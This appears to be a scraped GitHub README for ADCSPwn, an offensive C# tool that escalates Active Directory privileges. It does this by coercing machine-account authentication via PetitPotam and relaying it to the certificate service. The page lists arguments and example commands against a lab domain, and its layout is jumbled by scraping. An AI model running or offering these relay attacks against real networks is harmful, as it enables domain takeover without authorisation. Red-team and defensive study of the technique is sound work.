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 ADCSPwn

 README.md

 **README**



ADCSPwn

A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts (Petitpotam) and relaying to the certificate service.

Usage

Run `ADCSPwn` on your target network.


```
Author: @_batsec_ - MDSec ActiveBreach
Contributor: @Flangvik - TrustedSec
Contributor: @424f424f - Black Hills Information Security

adcspwn.exe --adcs <cs server> --port [local port]

Required arguments:
adcs                - This is the address of the Active Directory Certificate Service (ADCS) server.
```

About

A tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service.

-  Readme
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Releases **2**

 **ADCSPwn v1.1** Latest

on Aug 2, 2021

[+ 1 release](#)

Packages

No packages published

Contributors **4**



bats3c batsec

Optional arguments:

secure	-	Use HTTPS with the certificate
port	-	The port ADCSPwn will listen on
remote	-	Remote machine to trigger the attack
username	-	Username for non-domain controller
password	-	Password for non-domain controller
dc	-	Domain controller to query
unc	-	Set custom UNC callback
output	-	Output path to store banners

Example usage:

```
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --secure
adcspwn.exe --adcs cs.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username Administrator
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --password Password123!
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --unc \\dc.pwnlab.local\c$
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output output.txt
```



FlangvikOld



rvrsh3ll Steve Borosh



inspiringz 3ND

Languages

● C# 100.0%

Credits

- [@harmj0y](#) & [@tifkin](#) for their [whitepaper](#) detailing this issue.
- [@topotam77](#) for showing how `EfsRpcOpenFileRaw` can be abused.

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